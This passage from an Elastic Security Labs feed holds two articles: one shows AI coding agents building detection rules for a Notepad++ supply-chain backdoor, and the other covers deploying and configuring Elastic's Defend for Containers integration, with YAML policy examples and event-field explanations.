<p><strong>Before you get started:</strong> AI coding agents operate with real credentials, real shell access, and often the full permissions of the user running them. When those agents are pointed at security workflows, the stakes are higher: you're handing an automated system access to detection logic, response actions, and sensitive telemetry. Every organization's risk profile is different. Before enabling AI-driven security workflows, evaluate what data the agent can access, what actions it can take, and what happens if it behaves unexpectedly</p>
<p>Don't have an Elasticsearch cluster yet? Start an <a href="https://cloud.elastic.co/registration">Elastic Cloud free trial</a>. It takes about a minute to get a fully configured environment.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/streamlining-the-security-analyst-experience/streamlining-the-security-analyst-experience.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Supercharge Your SOC]]></title>
            <link>https://www.elastic.co/fr/security-labs/supercharge-your-soc</link>
            <guid>supercharge-your-soc</guid>
            <pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Detection Engineering in the Era of AI Agents - The New Frontier.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>The landscape of cybersecurity is evolving, and the role of the Detection Engineer (DE) is more critical and demanding than ever. Traditionally, this role involves a comprehensive, end-to-end workflow: from threat modeling and telemetry tuning to writing, testing, and maintaining performance-optimized detection rules to flag malicious behavior.</p>
<p><strong>Elastic Security is purpose-built to streamline this entire workflow, empowering DEs - and anyone involved in security operations - to build, manage, and optimize detection rules at scale. This allows security teams to concentrate their efforts on the most critical task: protecting the organization.</strong></p>
<p>The rise of generative AI and, more specifically, advanced AI <strong>coding agents</strong> like Claude and Cursor, is fundamentally changing and supercharging this workflow.  These tools are no longer just for general software development; they are becoming expert partners for the Security Operations Center (SOC). By integrating the power of conversational AI, these agents can take high-level security requirements and instantly translate them into validated, workable detection logic.</p>
<h1>From Generalist to Elastic Expert: Agent Skills</h1>
<p>Elastic Security is embracing this shift not only by having native AI capabilities built-into our agentic security operations platform , but also by <a href="https://www.elastic.co/fr/search-labs/blog/agent-skills-elastic">open-sourcing <strong>agent skills for 3rd party agentic IDEs</strong></a>, a native platform experience for the entire Elastic ecosystem (Security, Observability, etc.). By loading these skills into any agent runtime, your AI assistant moves from being a generalist to an on-demand expert in Elastic’s tooling. You can then ask your agent to triage alerts or, in this context, expertly create and tune detection rules</p>
<h1>A Use Case Walkthrough: The Notepad++ Attack</h1>
<p>To illustrate the agent’s power, let’s look at a real-world supply chain-based attack involving a backdoor targeting the Notepad++ infrastructure described in Elastic Security Lab’s blog, <a href="https://www.elastic.co/fr/security-labs/speeding-apt-attack-discovery-confirmation-with-attack-discovery-workflows-and-agent-builder">“Speeding APT Attack”</a><strong>.</strong></p>
<h2>Instant Conditional Rules</h2>
<p>A detection engineer’s first step is often to create conditional rules based on known Indicators of Compromise (IOCs). To begin, we can instruct the agent to investigate data within Elastic Security, as evidence of the attack was present in our cluster.</p>
<pre><code>&quot;Can you help me create a detection rule that will detect malicious activity similar
 to what I'm seeing in my Elastic Security deployment involving notepad++.exe 
 and BluetoothService.exe?&quot;
</code></pre>
<p>The agent immediately went to work:</p>
<ul>
<li>It rapidly found process lineage and documented attack details.</li>
<li>It extracted key IOCs and found the corresponding MITRE ATT&amp;CK™ mappings.</li>
<li>It generated two foundational rules: one for a suspicious child process spawned by <strong>Notepad++</strong>, and one focusing on the masqueraded executable.</li>
<li>Crucially, the rules were immediately tested against threat emulation data, confirming multiple successful hits.</li>
</ul>
<p>Each step is happening quickly, and the built-in validation significantly accelerates the 'test and tune' phase.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/supercharge-your-soc/image2.png" alt="Agent progress initiating creation of conditional detection rules (Claude Code shown)" title="Agent progress initiating creation of conditional detection rules (Claude Code shown)" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/supercharge-your-soc/image7.png" alt="Agent report after creating two conditional detection rules (Claude Code shown)" title="Agent report after creating two conditional detection rules (Claude Code shown)" /></p>
<p>Let’s take a look at the agent-created rule in Elastic Security:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/supercharge-your-soc/image3.png" alt="Agent-created rule details appear seamlessly in Elastic Security" title="Agent-created rule details appear seamlessly in Elastic Security" /></p>
<h2>Diving into Advanced ESQL Aggregation</h2>
<p>Conditional logic is great, but modern threats require more behavioral and entity-focused detections. Using Elastic’s powerful piping language, <a href="https://www.elastic.co/fr/docs/reference/query-languages/esql">ES|QL</a> (Elastic Search Query Language), the agent was challenged to create an <strong>aggregation-based rule</strong> that looks for generic, suspicious characteristics across tasks, aggregates them, and assigns a dynamic risk score to host and user entities.</p>
<p>The agent delivered, creating an advanced query that looks for suspicious executables, negates benign directories, and assesses scores based on the activity's risk level. This demonstrates the agent's ability to create sophisticated detections unique to Elastic's capabilities, moving beyond simple lookups to complex entity analytics.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/supercharge-your-soc/image4.png" alt="Agent creating aggregation-based detection rule (Claude Code shown)" title="Agent creating aggregation-based detection rule (Claude Code shown)" /></p>
<p>Here’s the rule in Elastic Security:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/supercharge-your-soc/image1.png" alt="More complex aggregation-based rule appears properly in Elastic Security" title="More complex aggregation-based rule appears properly in Elastic Security" /></p>
<h2>Sequential Detections with EQL and Suppression</h2>
<p>To detect multi-stage attacks, a <strong>sequential rule</strong> is essential—if Event A, then Event B, then Event C, then alert. Using the <a href="https://www.elastic.co/fr/docs/solutions/security/detect-and-alert/eql">Event Query Language (EQL)</a>, the agent crafted a perfect three-stage sequence for the attack:</p>
<ol>
<li>Unsigned dropper activity.</li>
<li>Service masquerade (implant deployed).</li>
<li>Final execution for persistence.</li>
</ol>
<p>To make the rule more reliable and reduce noise, suppression logic was then added, focusing on limiting alerts per unique Host ID. This quick iteration shows how an agent can help a detection engineer rapidly move from a basic detection to a highly robust, multi-stage rule.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/supercharge-your-soc/image6.png" alt="Agent creating advanced sequence-based detection rule (Claude Code shown)" title="Agent creating advanced sequence-based detection rule (Claude Code shown)" /></p>
<h2>The LLM-Augmented Query: Summaries in the Alert</h2>
<p>The ultimate demonstration of the new agentic workflow is using <a href="https://www.elastic.co/fr/security-labs/beyond-behaviors-ai-augmented-detection-engineering-with-esql-completion">Elastic’s <strong>ESQL COMPLETION syntax</strong></a>. This feature allows an inference model to be referenced <em>directly within the query</em>.</p>
<p>The prompt asked the agent to:</p>
<pre><code>Based off this recent elastic blog,
 https://www.elastic.co/fr/security-labs/beyond-behaviors-ai-augmented-detection-engineering-with-esql-completion, 
 create a rule that incorporates a COMPLETION command with my  default inference 
 model that will summarize findings from attack into one &quot;esql.summary&quot;
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/supercharge-your-soc/image5.png" alt="Agent creating advanced detection rule with included AI Summary (Claude Code shown)" title="Agent creating advanced detection rule with included AI Summary (Claude Code shown)" /></p>
<p>The result? The generated rule didn't just fire an alert; it natively included an <strong>ES|QL summary row</strong> in the alert itself:</p>
<blockquote>
<p>This telemetry shows a masquerading technique where a process named &quot;BluetoothService.exe&quot; is executing from a user's AppData directory with a PE original name of &quot;BDSubWiz.exe&quot; (a legitimate file mismatch), running as SYSTEM with service-like characteristics including spawning from services.exe, indicating persistence establishment (MITRE ATT&amp;CK T1036.004 Masquerading and T1543 Service Persistence). The executable's location in a user directory, combined with SYSTEM-level execution, service persistence indicators, and the name/PE mismatch across multiple events, suggests Defense Evasion and Persistence stages. This represents high severity due to successful SYSTEM-level persistence with active defense evasion through masquerading.</p>
</blockquote>
<p>This cuts triage time dramatically, as analysts no longer need to pivot to a separate runbook to understand the context and severity of the alert.</p>
<h1>The Agentic SOC is Here</h1>
<p>The collaboration between AI agents and the Elastic Security solution provides a glimpse into Elastic’s <a href="https://www.elastic.co/fr/security-labs/why-2026-is-the-year-to-upgrade-to-an-agentic-ai-soc"><strong>Agentic SOC</strong></a> of the future. It’s a world where detection engineers can have a conversation, define their intent, and instantly generate, test, and deploy highly sophisticated, context-rich detection rules. This is not about replacing the human expert, but about augmenting their knowledge and accelerating their workflow, allowing them to focus on high-value threat intelligence and modeling.</p>
<h2>Getting started</h2>
<p><strong>Before you get started:</strong> AI coding agents operate with real credentials, real shell access, and often the full permissions of the user running them. When those agents are pointed at security workflows, the stakes are higher: you're handing an automated system access to detection logic, response actions, and sensitive telemetry. Every organization's risk profile is different. Before enabling AI-driven security workflows, evaluate what data the agent can access, what actions it can take, and what happens if it behaves unexpectedly</p>
<p>Don't have an Elasticsearch cluster yet? Start an <a href="https://cloud.elastic.co/registration">Elastic Cloud free trial</a>. It takes about a minute to get a fully configured environment.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/supercharge-your-soc/supercharge-your-soc.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Linux & Cloud Detection Engineering - Getting Started with Defend for Containers (D4C)]]></title>
            <link>https://www.elastic.co/fr/security-labs/getting-started-with-defend-for-containers</link>
            <guid>getting-started-with-defend-for-containers</guid>
            <pubDate>Thu, 19 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[This technical resource provides a comprehensive walkthrough of Elastic’s Defend for Containers (D4C) integration, covering Kubernetes-based deployment, the analysis of BPF-enriched runtime telemetry, and the practical application of policy-driven security controls to monitor and alert on activities within containerized Linux environments.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Linux systems remain a critical foundation for modern infrastructure, particularly in cloud-native environments where containers and orchestration platforms are the norm. As workloads move from long-lived hosts to ephemeral containers, attacker tradecraft shifts as well. Activity that once left persistent artifacts on disk is increasingly confined to short-lived, runtime behavior that can be difficult to capture using traditional log sources.</p>
<p>Detection engineering in these environments, therefore, depends heavily on runtime visibility. Understanding how processes execute inside containers, how files are accessed, and how workloads interact with the host becomes more important than relying on static indicators or post-incident artifacts.</p>
<p>Elastic provides several Linux-focused telemetry sources to support this type of detection work. In <a href="https://www.elastic.co/fr/security-labs/linux-detection-engineering-with-auditd">earlier posts in this series</a>, we focused on host-level visibility using Auditd and Auditd Manager, showing how low-level system events can be translated into high-fidelity detections. In this post, the focus shifts to Elastic’s Defend for Containers: a runtime security integration built specifically for containerized Linux workloads.</p>
<p>The goal of this article is not to document every Defend for Containers feature, but to provide a practical starting point for detection engineers: what data the integration produces and how to reason about that data. In the next part, we will look into how it can be applied to realistic container attack scenarios.</p>
<h2>Streamlined visibility with Defend for Containers</h2>
<p>We are excited to announce the arrival of Defend for Containers in the 9.3.0 release. This integration brings a streamlined approach to container security, offering a strong foundation for visibility in cloud-native infrastructures. Users can leverage a suite of detection rules tailored to defend against modern Kubernetes threats and container-specific vulnerabilities. The arrival of Defend for Containers is accompanied by <a href="https://github.com/elastic/detection-rules/tree/main/rules/integrations/cloud_defend">a container-specific detection ruleset</a>, designed around realistic container and Kubernetes threat models.</p>
<p>At the time of writing, the Defend for Containers ruleset provides baseline coverage for common container attack techniques, including reconnaissance activity, credential access attempts, kubelet attacks, service account token abuse, interactive process execution, file creation and modification, interpreter abuse, encoded payload execution, tooling installation, tunneling behavior, and multiple privilege escalation vectors. Importantly, all existing container- and Kubernetes-specific detection rules <a href="https://github.com/elastic/detection-rules/pull/5685">have been made compatible with Defend for Containers</a>, allowing previously host-centric logic to operate directly on container runtime telemetry.</p>
<p>This makes Defend for Containers a practical and immediately usable data source for Linux detection engineers focused on behavior-driven runtime detection. The remainder of this post focuses on how that telemetry looks in practice and how it can be applied to real-world container attack scenarios.</p>
<h2>Introduction to Defend for Containers</h2>
<p><a href="https://www.elastic.co/fr/docs/reference/integrations/cloud_defend">Defend for Containers</a> is a runtime security integration that provides visibility into Linux containers as they execute. Instead of relying on static image scanning or post-execution logs, it focuses on observing container behavior in real time.</p>
<p>At a high level, Defend for Containers captures security-relevant runtime events from running containers, such as process execution and file access. These events are enriched with container and orchestration context and shipped into Elasticsearch, where they can be analyzed and used as input for detection rules.</p>
<p>From a detection engineering perspective, Defend for Containers sits at the intersection of traditional Linux behavior and the container context. Processes, syscalls, and file activity remain core signals, but they are now scoped to containers, namespaces, and workloads that may only exist briefly.</p>
<p>Defend for Containers is deployed as part of the Elastic Agent and integrates directly with Elastic Security. Once enabled, it provides a dedicated stream of container runtime events that can be queried using KQL or ES|QL, or consumed directly by detection analytics. This allows detection engineers to apply familiar analysis techniques while accounting for the operational realities of cloud-native workloads.</p>
<p>In the sections that follow, we will examine Defend for Containers events in more detail and walk through several container attack scenarios to illustrate how this data can be used in practice.</p>
<h3>Defend for Containers setup</h3>
<p>Before you can take advantage of Defend for Containers' runtime visibility and analytics, you need to deploy the integration and configure a policy that defines which events to observe and what actions to take when matching activity is encountered. More information about the integration and its setup can be found <a href="https://www.elastic.co/fr/docs/reference/integrations/cloud_defend">here</a>. At a high level, this setup consists of:</p>
<ol>
<li>Deploying the Defend for Containers integration via Elastic Agent in your Kubernetes environment.</li>
<li>Configuring or customizing the Defend for Containers policy, which consists of selectors that define which operations to match and responses that define what actions to take.</li>
<li>Validating and refining the policy based on observed workload behavior.</li>
</ol>
<h3>Deployment methods</h3>
<p>Defend for Containers is delivered as an Elastic Agent integration and relies on Elastic Agent to collect and forward container runtime telemetry into your Elastic Stack. For Kubernetes workloads, you install the integration via the Elastic Security UI and then enroll agents on your cluster nodes.</p>
<p>The basic deployment flow is:</p>
<p>In the Elastic Security UI, navigate to <a href="https://www.elastic.co/fr/docs/reference/fleet">Fleet</a> and create a new Agent Policy (or add the integration to an existing one). Once the Agent Policy is created, we can add the “Defend for Containers” integration to the policy.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image1.png" alt="Figure 1: Add the integration to the agent policy view" title="Figure 1: Add the integration to the agent policy view" /></p>
<p>Give the integration a name and optionally adjust the default selectors and responses (we will look into the available options further down in this publication). Once “Add integration” is selected, a new Agent Policy with the correct integration should be available.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image5.png" alt="Figure 2: Agent policy integrations overview" title="Figure 2: Agent policy integrations overview" /></p>
<p>For this demonstration, we will leverage the Kubernetes deployment method. To deploy this policy to a workload, we can navigate to Actions → Add agent → Kubernetes. Here, we see instructions for copying or downloading the Kubernetes manifest.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image19.png" alt="Figure 3: Defend for Containers Kubernetes manifest overview" title="Figure 3: Defend for Containers Kubernetes manifest overview" /></p>
<p>An important note to be aware of is: “<em>Note that the following manifest contains resource limits that may not be appropriate for a production environment. Review our guide on <a href="https://www.elastic.co/fr/docs/reference/fleet/scaling-on-kubernetes#_specifying_resources_and_limits_in_agent_manifests">Scaling Elastic Agent on Kubernetes</a> before deploying this manifest.</em>”</p>
<p>You will need to include the following <code>capabilities</code> under <code>securityContext</code> in your Kubernetes YAML for the service to work:</p>
<pre><code class="language-yaml">securityContext:
    runAsUser: 0
    capabilities:
      add:
        - BPF ## Enables both BPF &amp; eBPF
        - PERFMON
        - SYS_RESOURCE
</code></pre>
<p>After copying or downloading the provided <code>elastic-agent-managed-kubernetes.yml</code> manifest, you can edit the manifest as needed, and apply the manifest with:</p>
<pre><code class="language-bash">kubectl apply -f elastic-agent-managed-kubernetes.yml
</code></pre>
<p>As also mentioned in the manifest, review the guide “<a href="https://www.elastic.co/fr/docs/reference/fleet/running-on-kubernetes-managed-by-fleet">Run Elastic Agent on Kubernetes managed by Fleet</a>” for more deployment information.</p>
<p>Wait for the Elastic Agent pods to schedule and for data to begin flowing into Elasticsearch.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image16.png" alt="Figure 4: Defend for Containers integration input overview" title="Figure 4: Defend for Containers integration input overview" /></p>
<p>Once deployed, Elastic Agent will establish a connection to Fleet, enroll under the selected policy, and begin emitting Defend for Containers telemetry that Elastic Security can consume.</p>
<p>In the next section, we will take a look at the integration configuration options and explore which features are available to use.</p>
<h3>Defend for Containers policies</h3>
<p>At the heart of Defend for Containers' configuration is the policy. Policies determine what activity to observe and how to respond when matching events occur. Policies are composed of two fundamental building blocks:</p>
<ul>
<li><strong>Selectors:</strong> define which events are of interest by specifying operations and conditions;</li>
<li><strong>Responses:</strong> define what actions to take when a selector’s conditions are met.</li>
</ul>
<p>Defend for Containers policies can be edited before deployment or modified post-deployment via the Elastic Security UI’s policy editor.</p>
<h4>Policy structure</h4>
<p>Each policy must contain at least one selector and at least one response. A typical selector specifies one or more operations (such as process events or file activities) and uses conditions (like container image name, namespace, or pod label) to narrow the scope. Responses reference selectors and indicate what action to take when events match.</p>
<p>The default Defend for Containers policy includes two selector-response pairs: “Threat Detection” and “Drift Detection &amp; Prevention”.</p>
<p><strong>Threat detection:</strong> A <code>selector</code> named <code>allProcesses</code> matches all <code>fork</code> and <code>exec</code> events from containers.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image13.png" alt="Figure 5: Defend for Containers allProcesses selector" title="Figure 5: Defend for Containers allProcesses selector" /></p>
<p>And the associated <code>response</code> has the action set to <code>Log</code>, ensuring that events are ingested and can be analyzed.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image11.png" alt="Figure 6: Defend for Containers allProcesses log response" title="Figure 6: Defend for Containers allProcesses `log` response" /></p>
<p><strong>Drift detection &amp; prevention:</strong> A selector named <code>executableChanges</code> matches <code>createExecutable</code> and <code>modifyExecutable</code> operations.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image7.png" alt="Figure 7: Defend for Containers executableChanges selector" title="Figure 7: Defend for Containers executableChanges selector" /></p>
<p>And the response is configured to create alerts (and can be modified to block those operations).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image18.png" alt="Figure 8: Defend for Containers executableChanges alert response" title="Figure 8: Defend for Containers executableChanges `alert` response" /></p>
<p>These can be modified via the UI, but under the hood, these policies are simple YAML configuration files that can be easily modified and used in any CI|CD flows:</p>
<pre><code class="language-yaml">process:
  selectors:
    - name: allProcesses
      operation:
        - fork
        - exec
  responses:
    - match:
        - allProcesses
      actions:
        - log
file:
  selectors:
    - name: executableChanges
      operation:
        - createExecutable
        - modifyExecutable
  responses:
    - match:
        - executableChanges
      actions:
        - alert
</code></pre>
<p>Next, we will take a look at some example selectors and responses and discuss the options you have for setting up the integration to your liking.</p>
<p><strong>Example selector snippet</strong></p>
<p>Selectors allow fine-grained matching using conditions on fields such as:</p>
<ul>
<li><code>containerImageFullName</code>: full image names like <code>docker.io/nginx</code>;</li>
<li><code>containerImageName</code>: partial image names;</li>
<li><code>containerImageTag</code>: specific tags like latest;</li>
<li><code>kubernetesClusterId</code>: Kubernetes cluster IDs;</li>
<li><code>kubernetesClusterName</code>: Kubernetes cluster names;</li>
<li><code>kubernetesNamespace</code>: namespaces where the workload runs;</li>
<li><code>kubernetesPodName</code>: pod names, with support for trailing wildcards;</li>
<li><code>kubernetesPodLabel</code>: label key/value pairs, with wildcard support.</li>
</ul>
<pre><code class="language-yaml">selectors:
  - name: nodeExports
    file:
      operations:
        - createExecutable
        - modifyExecutable
      containerImageName:
        - &quot;nginx&quot;
      kubernetesNamespace:
        - &quot;production&quot;
</code></pre>
<p>In this example, the selector named <code>nodeExports</code> matches file events that create or modify executables within containers whose image names contain “nginx” and whose Kubernetes namespace begins with &quot;production&quot;.</p>
<p><strong>Example response snippet</strong></p>
<p>Responses determine what happens when selector conditions are met. Common actions include:</p>
<ul>
<li><code>log</code>: send the event as telemetry for analysis;</li>
<li><code>alert</code>: create an alert in Elastic Security;</li>
<li><code>block</code>: prevent the operation (for supported types).</li>
</ul>
<pre><code class="language-yaml">responses:
  - name: alertAndBlockNodeExports
    matchSelectors:
      - nodeExports
    actions:
      - alert
      - block
</code></pre>
<p>Here, the response named <code>alertAndBlockNodeExports</code> references the previously defined nodeExports selector and will both generate an alert and block the operation.</p>
<h4>Wildcards and matching</h4>
<p>Selectors in Defend for Containers support trailing wildcards in string-based conditions (such as pod names or image tags). This allows broad matching without enumerating every possible value. The following fields do support wildcard matching:</p>
<ul>
<li>For file selectors: <code>kubernetesPodName</code>, <code>kubernetesPodLabel</code> and <code>targetFilePath</code>.</li>
<li>For process selectors: <code>kubernetesPodName</code>, <code>kubernetesPodLabel</code>, <code>processName</code> and <code>processExecutable</code>.</li>
</ul>
<p>For example, a <code>kubernetesPodName</code> selector of <code>backend-*</code> will match all pods whose names begin with <code>backend-</code>, while a <code>kubernetesPodLabel</code> condition such as <code>role:api*</code> matches label values that start with <code>api</code>.</p>
<p>This wildcarding is essential in dynamic environments where workloads scale and shift rapidly.</p>
<p>In addition to simple string matching, Defend for Containers selectors also support <strong>path-based wildcard semantics</strong> when matching file paths. Consider the following selector example:</p>
<pre><code class="language-yaml">- name:
  targetFilePath:
    - /usr/bin/echo
    - /usr/sbin/*
    - /usr/local/**
</code></pre>
<p>In this example:</p>
<ul>
<li><code>/usr/bin/echo</code> matches only the <code>echo</code> binary at that exact path.</li>
<li><code>/usr/sbin/*</code> matches everything that is a direct child of <code>/usr/sbin</code>.</li>
<li><code>/usr/local/**</code> matches everything recursively under <code>/usr/local</code>, including paths such as <code>/usr/local/bin/something</code>.</li>
</ul>
<p>These distinctions make it possible to precisely scope file-based selectors, balancing coverage and noise. In practice, they allow detection engineers to target specific binaries, entire directories, or deep directory trees, depending on the use case, without resorting to overly permissive rules.</p>
<h4>Tying it all together</h4>
<p>Up to this point, we have looked at Defend for Containers selectors, wildcard semantics, event types, and how they surface attacker behavior at runtime. The final step is to understand how these pieces come together within a policy to express real detection logic.</p>
<p>Consider the following policy fragment:</p>
<pre><code class="language-yaml">file:
  selectors:
    - name: binDirExeMods
      operation:
        - createExecutable
        - modifyExecutable
      targetFilePath:
        - /usr/bin/**
    - name: etcFileChanges
      operation:
        - createFile
        - modifyFile
        - deleteFile
      targetFilePath:
        - /etc/**
    - name: nginx
      containerImageName:
        - nginx

  responses:
    - match:
        - binDirExeMods
        - etcFileChanges
      exclude:
        - nginx
      actions:
        - alert
        - block
</code></pre>
<p>This policy defines three selectors. Two selectors (<code>binDirExeMods</code> and <code>etcFileChanges</code>) describe file system activity of interest, while the third selector (<code>nginx</code>) describes a container context to exclude.</p>
<p>The response section ties these selectors together. The selectors listed under <code>match</code> are logically <code>OR</code>’d, meaning that <em>either</em> condition is sufficient to trigger the response. The selector listed under <code>exclude</code> acts as a logical <code>NOT</code>, removing matching events when the container image is <code>nginx</code>.</p>
<p>Read in plain language, the policy expresses the following logic:</p>
<p><em>If an executable is created or modified anywhere under <code>/usr/bin</code>, <strong>or</strong> a file is created, modified, or deleted under <code>/etc</code>,  <strong>and</strong> the activity does not originate from an <code>nginx</code> container, then generate an alert and block the action.</em></p>
<p>In Boolean form, this can be expressed as:</p>
<pre><code class="language-text">IF (binDirExeMods OR etcFileChanges) AND NOT nginx
→ alert + block
</code></pre>
<p>This is where Defend for Containers policies become powerful. Rather than writing complex detection logic in a query language, selectors let you decompose behavior into small, reusable building blocks and then combine them declaratively. By mixing path-based selectors, operation types, container context, and exclusions, you can express nuanced detection logic that remains readable and maintainable.</p>
<p>In practice, this model allows detection engineers to translate threat hypotheses directly into policy logic: <em>what</em> behavior matters, <em>where</em> it occurs, <em>in which workloads</em>, and <em>what should happen</em> when it does.</p>
<h4>Policy validation and refinement</h4>
<p>Once a policy is deployed, it is critical to validate it against real workload behavior before enabling aggressive responses such as blocking. Policies that are too restrictive can disrupt normal container operations; policies that are too permissive may let unwanted activity go unnoticed.</p>
<p>A recommended workflow is:</p>
<ol>
<li>Deploy the default policy in monitoring mode (e.g., with selectors logging events).</li>
<li>Observe the events that appear in Elasticsearch to understand normal workload patterns.</li>
<li>Incrementally tighten selectors and responses, moving from <em>log only</em> → <em>alert</em> → <em>block</em>, testing at each stage.</li>
<li>Use a staging or test cluster to validate blocking behaviors before applying them in production.</li>
</ol>
<h3>Defend for Containers Beta limitations</h3>
<p>As of writing, Defend for Containers is available as a Beta integration, and its current capabilities and platform support reflect that status.</p>
<p>Defend for Containers formally supports Amazon EKS and Google GKE. While the integration can be deployed on Azure AKS, this configuration is not officially supported. In particular, AKS deployments currently lack file event telemetry, which limits detection coverage for file-based attack techniques in those environments.</p>
<p>The current Beta also does not capture network events. As a result, detections related to outbound connections, lateral network movement, or data exfiltration must rely on complementary data sources, such as the <a href="https://www.elastic.co/fr/docs/reference/integrations/network_traffic">Network Packet Capture integration</a> or <a href="https://www.elastic.co/fr/beats/packetbeat">Packetbeat</a> integrations, rather than on Defend for Containers telemetry alone.</p>
<p>For file activity, Defend for Containers intentionally logs file open events only when opened with write intent. This design choice reduces noise and focuses on behavior that modifies the system state. However, it also means that read-only access to sensitive files, such as secret discovery, configuration scraping, or failed access attempts, is not currently observable.</p>
<p>This limitation impacts detection use cases such as:</p>
<ul>
<li>Searching and reading Kubernetes service account tokens,</li>
<li>Scanning for <code>.env</code> files or credential material.</li>
</ul>
<p>These are areas where future Defend for Containers iterations may provide more granular telemetry to support advanced detection engineering use cases.</p>
<h3>Enabling the Defend for Containers pre-built detection rules</h3>
<p>Defend for Containers ships with a set of pre-built detection rules that provide baseline coverage for common container attack techniques. Once the integration is enabled, these rules can be activated directly from Elastic Security without additional configuration.</p>
<p>Enabling the pre-built rules is recommended as a starting point, as they are designed to align with Defend for Containers' runtime telemetry and cover execution, file modification, persistence, and post-compromise behavior inside containers. From there, the rules can be extended or refined to match environment-specific workloads and threat models.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image17.png" alt="Figure 9: Defend for Containers pre-built detection rule installation based on tag" title="Figure 9: Defend for Containers pre-built detection rule installation based on tag" /></p>
<p>By filtering for “Data Source: Elastic Defend for Containers”, you can find all rules associated with this integration.</p>
<p><strong>Note:</strong> if you do not see any rules pop up, make sure your stack is running version 9.3.0, as these rules are deployed only on 9.3.0+.</p>
<p>With all important Beta limitations mapped, the integration deployed, the pre-built detection rules installed and enabled, and a working policy in place, the next step is to explore the event semantics Defend for Containers produces, including fields commonly used in detection logic, performance considerations, and how these events differ from Elastic Defend events.</p>
<h2>Analyzing Defend for Containers events</h2>
<p>Now that Defend for Containers is deployed and policies are in place, the next step is understanding the events it generates. Similar to working with Elastic Defend or Auditd Manager, Defend for Containers telemetry becomes far more valuable once you develop a mental model of how events are structured and which fields are most relevant for detection engineering.</p>
<p>Defend for Containers produces multiple event types, most notably process events and file events, each enriched with container, host, and orchestration context. While the underlying signals remain rooted in Linux behavior, the additional Kubernetes and container metadata enable you to reason about activity in ways not possible with host-only telemetry.</p>
<p>The following sections walk through the most important field groups and event types, using real Defend for Containers events as reference points.</p>
<h3>Common fields</h3>
<p>Before diving into specific event categories, it is useful to understand the fields that consistently appear across Defend for Containers telemetry. These fields provide the contextual glue that ties individual runtime actions back to policies, selectors, and the underlying execution points inside the kernel.</p>
<p>While process and file events differ in their details, the fields described below are present across Defend for Containers data streams and are often the first place to look when validating detections or troubleshooting policy behavior.</p>
<h4>Defend for Containers-specific context</h4>
<p>Defend for Containers adds several fields specific to how events are collected and policies are applied.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image10.png" alt="Figure 10: Defend for Containers’ important cloud_defend.* fields overview" title="Figure 10: Defend for Containers’ important `cloud_defend.*` fields overview" /></p>
<p>The <code>cloud_defend.hook_point</code> field indicates where in the kernel the event was captured. In the example shown, values such as <code>tracepoint__sched_process_fork</code> and <code>tracepoint__sched_process_exec</code> reveal that the event was generated from kernel tracepoints associated with process creation and execution.</p>
<p>The <code>cloud_defend.matched_selectors</code> field shows which selectors in the active policy matched the event. In the example, the value <code>allProcesses</code> indicates that this event matched a broad selector that captures all process activity. When tuning policies or investigating alerts, this field is essential for understanding <em>why</em> an event was captured.</p>
<p>The <code>cloud_defend.package_policy_id</code> and <code>cloud_defend.package_policy_revision</code> fields tie the event back to a specific Elastic Agent policy and its revision. This makes it possible to correlate events with configuration changes over time and to verify which version of a policy was active when the event occurred.</p>
<h4>Event metadata</h4>
<p>Defend for Containers events follow the <a href="https://www.elastic.co/fr/docs/reference/ecs">Elastic Common Schema</a> conventions and include standard event metadata that describes the activity's type and lifecycle.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/getting-started-with-defend-for-containers/image2.png" alt="Figure 11: Defend for Containers’ important event.* fields overview" title="Figure 11: Defend for Containers’ important `event.*` fields overview" /></p>
<p>The <code>event.category</code> field identifies the high-level type of activity, such as <code>process</code> or <code>file</code>, and is typically the first field used when filtering Defend for Containers data. The <code>event.action</code> field describes what occurred, for example, <code>fork</code> or <code>exec</code> for process activity, or <code>open</code>, <code>creation</code>, <code>modification</code>, and <code>deletion</code> for file events.</p>
<p>The <code>event.type</code> field adds lifecycle context, such as <code>start</code> for process execution, and is often used together with <code>event.action</code> to distinguish different phases of activity. The <code>event.dataset</code> field indicates the originating Defend for Containers data stream, such as <code>cloud_defend.process</code>, which is useful when building dataset-scoped queries or detections.</p>
<p>Additional metadata fields like <code>event.id</code>, <code>event.ingested</code>, and <code>event.kind</code> are primarily used for correlation, ordering, and troubleshooting rather than detection logic.</p>
<h4>Host information</h4>
<p>Defend for Containers events include full host context, similar to Elastic Defend and Auditd Manager. This makes it possible to correlate container runtime activity back to the underlying Kubernetes node.</p>
